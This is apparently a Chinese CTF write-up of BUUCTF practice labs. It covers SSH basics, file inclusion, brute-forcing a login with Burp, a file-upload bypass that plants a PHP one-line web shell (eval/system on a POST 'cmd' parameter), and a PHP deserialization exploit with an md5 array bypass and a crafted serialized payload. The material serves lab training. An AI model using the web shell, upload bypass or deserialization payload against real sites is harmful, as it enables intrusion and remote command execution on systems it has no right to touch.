Basic:
Linux Labs
概念解释:
-
LAMP 是搭建Web应用时最常用的环境,LAMP 分别表示 Linux、Apache、MySQL 以及 PHP,即在Linux 系统中安装 Apache、MySQL 以及 PHP。
Linux相关命令:
SSH指令主要用于远程登录和执行命令(应用场景:管理员远程管理服务器、管理员远程登录故障主机排查问题、远程传输文件)。
常见用法:
-
远程登录
ssh [用户名]@[IP地址]
#eg:ssh user@example.com
-
指定端口
ssh -p [端口号] [用户名]@[IP地址]
-
公钥认证登录
ssh-keygen
ssh-copy-id [用户名]@[IP地址]
使用ssh-keygen生成密钥对,并使用ssh-copy-id命令将公钥复制到目标主机上,实现公钥认证登录,避免每次登录都输入密码。
由于传统密码存在暴力破解的问题,因此一般使用密钥登录远程服务器,在执行ssh-keygen后需要输入密钥锁码,在登录远程服务器时将需要私钥和密钥锁码才能登录,因此加上了双重保护。
私钥所在路径:/root/.ssh/id_rsa
公钥所在路径:/root/.ssh/id_rsa.pub (.ssh是隐藏目录)
-
远程执行命令
ssh [用户名]@[IP地址] [命令]
#eg:ssh user@example.com "ls -l"
-
文件传输
scp [本地文件路径] [用户名]@[IP地址]:[目标路径]
#eg:scp file.txt user@example.com:/home/user/
BUU LFI COURSE 1
题目靶机页面

解题过程
根据PHP代码提示,直接构造url后加?file=/flag即可获得flag,/flag指的是根目录下的flag文件。
BUU BRUTE 1
题目靶机页面

解题过程

用户名和密码随机输入11,抓包查看返回内容为用户名错误,则先从用户名入手。

只设置username为爆破值,然后添加爆破字典,由于网站限制访问频率,因此需要设置并发参数,将进程设为1,间隔设为100ms。

爆破发现username为admin时返回以下内容。
此时开始设置爆破密码,固定username为admin,Payloads设置为以下内容。

注意需要将Number formant的Decimal切换为Hex后再切换回Decimal才能让Payload count的数量正常显示,同样设置并发数量进行爆破,最后获得密码6490,以admin作为用户名,6490作为密码进行登录获取flag。
![]()
BUU SQL COURSE 1
Upload-Labs-Linux
Pass-01
题目靶机页面

根据题目提示,该题为绕托js验证。
解题过程
一句话木马:
<?php @eval(system($_POST["cmd"]));?>
// @符号 表示后面的语句即使执行错误,也不报错。
// eval() 把括号内的字符串全部当作php代码来执行
// system 执行外部程序,并且显示输出
// $_POST 用于收集来自 method="post" 的表单中的值
// 所以,这句代码的意思就是用php的方式收集 cmd 的值,执行cmd并输出
方法一:
该页面下按F12后再按F1,将调试程序中的停用JavaScript打开,保持页面上传一句话木马

上传成功显示

在此之前随便上传一个图片后打开F12可以获取图片上传后的地址,这是后面调用木马的关键。
不过一般做题默认都在主机ip/upload下。
将以上url修改为以下url访问上传的一句话木马111.php

然后利用蚁剑打开连接修改后的url,成功连接。

方法二:
将一句话木马文件设置成图片格式后上传,利用bp抓包拦截恢复filename的后缀为php后上传成功。


BUU CODE REVIEW 1
题型:
PHP反序列化代码
题目靶机页面:
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
代码分析:
highlight_file(__FILE__);
该语句用于在页面上显示当前文件的源代码。
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
这段代码定义了一个名为BUU的类,该类包含了两个公共属性$correct和$input,以及一个析构函数__destruct()。在析构函数中,首先将$correct赋值为通过base64_encode(uniqid())生成的唯一标识。接着,如果$correct等于$input,就读取/flag文件的内容并输出。
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
在代码的主体部分,通过if($_GET['pleaseget'] === '1')检查是否有名为pleaseget的GET参数,并通过if($_POST['pleasepost'] === '2')检查是否有名为pleasepost的POST参数。 如果上述条件都满足,接下来会比较md5($_POST['md51'])和md5($_POST['md52'])的结果,并确保$_POST['md51']不等于$_POST['md52']。如果条件满足,将调用unserialize($_POST['obj'])来反序列化$_POST['obj']。
解题过程:
首先,需要传参的内容有:
GET:pleaseget=1
POST:pleasepost=2,md51=?,md52=?,obj=?
因此,解题的关键在于得到合理的md51、md52以及obj的值。
第一步:
题目要求md51和md52实际值不同,但经过md5处理后值相同,因此可以利用数组进行绕过。
md51[] = 1 & md52[] = 2
原理: 原理是 md5 函数不能处理数组,导致函数返回Null。而Null是等于Null的,因此可以绕过。
第二步:
构造BUU类,获取序列化结果,题目代码要求BUU的input要等于correct的值。
$obj->input = &$obj->correct;
综上,总构造代码为:
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
$obj = new BUU;
$obj->input = &$obj->correct;
echo serialize($obj);
利用在线PHP代码运行网站获取序列化代码:
O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
Hackbar参数设置页面:

成功获取flag。

test_your_nc
题目靶机页面:
随便上传一个php文件发现提示了文件地址,并且后缀名被统一修改为了jpg。

将hackbar中的url设置为一下形式,然后传post参数cmd=cat /flag,即可成功获取flag。
![]()


799

被折叠的 条评论
为什么被折叠?



